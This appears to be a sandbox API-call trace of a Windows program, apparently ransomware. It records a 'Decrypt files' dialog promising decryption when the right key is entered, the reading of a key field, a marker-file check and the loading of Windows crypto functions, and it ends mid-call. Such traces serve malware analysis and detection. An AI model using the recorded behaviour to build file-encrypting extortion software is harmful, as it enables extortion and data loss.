1 [0043.902] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf490 | out: lpPoint=0xa96acaf490) returned 1 [0043.902] GetAsyncKeyState (vKey=1) returned 1 [0043.902] GetAsyncKeyState (vKey=2) returned 0 [0043.902] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x20, wParam=0xc0182, lParam=0x2000001) returned 0x0 [0043.902] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.902] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.902] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.902] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.902] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x350106e8, lParam=0x0) returned 0x1 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.902] SetBkColor (hdc=0x350106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x350106e8, lParam=0x4) returned 0x0 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.902] SetBkColor (hdc=0x350106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.903] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.903] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.903] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.903] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.903] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.903] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.903] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.903] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0043.903] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.903] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.903] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0043.903] DispatchMessageW (lpMsg=0xa96acafba0) returned 0xffffffff [0043.903] GetForegroundWindow () returned 0xc0182 [0043.903] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.903] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.903] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.903] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.903] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.903] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.904] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.904] SetWindowTextW (hWnd=0xd001e, lpString="") returned 1 [0043.904] SendMessageW (hWnd=0xd001e, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0043.905] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.905] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.905] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.905] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.905] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.905] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.905] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0043.905] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0043.905] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.905] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.905] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.905] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0043.905] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.905] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.905] GetWindowLongPtrW (hWnd=0xd001e, nIndex=-21) returned 0x4 [0043.905] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.905] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0043.905] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.905] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.905] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0043.927] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.927] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x86, wParam=0x0, lParam=0xf017e) returned 0x1 [0043.928] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.928] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.928] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x6, wParam=0x0, lParam=0xf017e) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x20, wParam=0xc0182, lParam=0x2000001) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x350106e8, lParam=0x0) returned 0x1 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.930] SetBkColor (hdc=0x350106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x350106e8, lParam=0x4) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.930] SetBkColor (hdc=0x350106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.930] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.930] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.930] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf370) returned 0x0 [0043.934] GetForegroundWindow () returned 0xf017e [0043.934] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0xffffffff82010550, lParam=0x0) returned 0x1 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.934] SetBkColor (hdc=0xffffffff82010550, color=0xf0f0f0) returned 0xffffff [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0xffffffff82010550, lParam=0x4) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.934] SetBkColor (hdc=0xffffffff82010550, color=0xf0f0f0) returned 0xf0f0f0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x370106e8, lParam=0x0) returned 0x1 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.934] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xffffff [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x370106e8, lParam=0x4) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.934] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.934] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0043.935] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.935] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.935] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.935] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0043.935] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.935] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.935] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.935] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaee70) returned 0x0 [0043.977] Shell_NotifyIconW (dwMessage=0x1, lpData=0xa96acaec70) returned 1 [0043.977] KillTimer (hWnd=0x8002c, uIDEvent=0x1) returned 1 [0043.977] SetTimer (hWnd=0x8002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0043.977] GetForegroundWindow () returned 0xf017e [0043.977] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0044.038] GetForegroundWindow () returned 0xf017e [0044.038] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0044.091] GetForegroundWindow () returned 0xf017e [0044.091] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0044.136] GetForegroundWindow () returned 0xf017e [0044.136] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0044.179] GetForegroundWindow () returned 0xf017e [0044.179] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0044.228] GetForegroundWindow () returned 0xa0208 [0044.228] GetWindowLongPtrW (hWnd=0xa0208, nIndex=-21) returned 0x0 [0044.273] GetForegroundWindow () returned 0xf017e [0044.273] GetWindowLongPtrW (hWnd=0xf017e, nIndex=-21) returned 0xa96acafa10 [0044.323] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.324] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x46, wParam=0x0, lParam=0xa96acaf5d0) returned 0x0 [0044.324] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.324] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x47, wParam=0x0, lParam=0xa96acaf5d0) returned 0x0 [0044.325] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.325] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0044.325] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0044.325] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.325] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0044.326] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.326] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.326] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0044.333] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.333] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.333] GetWindowLongW (hWnd=0xa004e, nIndex=-20) returned 256 [0044.333] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x84, wParam=0x0, lParam=0x1ff0363) returned 0x1 [0044.333] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] GetClientRect (in: hWnd=0xa004e, lpRect=0xa96acaf850 | out: lpRect=0xa96acaf850) returned 1 [0044.340] GetCursorPos (in: lpPoint=0xa96acaf870 | out: lpPoint=0xa96acaf870*(x=867, y=511)) returned 1 [0044.340] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf870 | out: lpPoint=0xa96acaf870) returned 1 [0044.340] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0044.340] SetCursor (hCursor=0x10003) returned 0x10003 [0044.340] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.340] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0044.340] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x200, wParam=0x0, lParam=0x1890222) returned 0x0 [0044.340] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.340] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.340] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0044.340] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x370106e8, lParam=0x0) returned 0x1 [0044.340] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.340] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0044.340] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.340] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x370106e8, lParam=0x4) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.341] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.341] SetBkColor (hdc=0x370106e8, color=0xf0f0f0) returned 0xf0f0f0 [0044.341] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0044.341] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.341] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0044.341] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x3, lParam=0xa96acaf340) returned 0x0 [0044.342] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.342] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.342] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0044.342] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0044.342] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0044.342] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0044.342] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0044.342] GetForegroundWindow () returned 0xa004e [0044.342] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.342] GetCursorPos (in: lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00*(x=867, y=511)) returned 1 [0044.342] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00) returned 1 [0044.342] GetAsyncKeyState (vKey=1) returned 1 [0044.342] GetAsyncKeyState (vKey=2) returned 0 [0044.342] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0044.342] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0044.343] SendMessageW (hWnd=0x6011c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0044.343] GetWindowTextW (in: hWnd=0x6011c, lpString=0xa96aef0c10, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0044.344] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.345] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0xa96acaf2b0 | out: lpFindFileData=0xa96acaf2b0) returned 0xa96aed6930 [0044.345] FindClose (in: hFindFile=0xa96aed6930 | out: hFindFile=0xa96aed6930) returned 1 [0044.345] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.345] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0044.345] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.345] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0044.345] PeekMessageW (in: lpMsg=0xa96acaef50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaef50) returned 0 [0044.346] GetLastError () returned 0x0 [0044.346] SetLastError (dwErrCode=0x0) [0044.346] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.346] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0044.347] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.347] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.347] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0044.347] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.347] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.348] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.348] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.348] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.348] PeekMessageW (in: lpMsg=0xa96acaecc0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaecc0) returned 0 [0044.357] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xa96aefbf70, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0044.357] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0044.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0044.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xa96aefbf10, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0044.358] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0044.358] CryptAcquireContextA (in: phProv=0xa96acaecb0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xa96acaecb0*=0xa96af2d4c0) returned 1 [0044.364] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 1 [0044.367] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acaf560) returned 0 [0044.367] TranslateMessage (lpMsg=0xa96acaf560) returned 0 [0044.367] DispatchMessageW (lpMsg=0xa96acaf560) returned 0x0 [0044.367] GetForegroundWindow () returned 0xa004e [0044.367] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0044.367] GetCursorPos (in: lpPoint=0xa96acaf3c0 | out: lpPoint=0xa96acaf3c0*(x=867, y=511)) returned 1 [0044.367] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acaf3c0 | out: 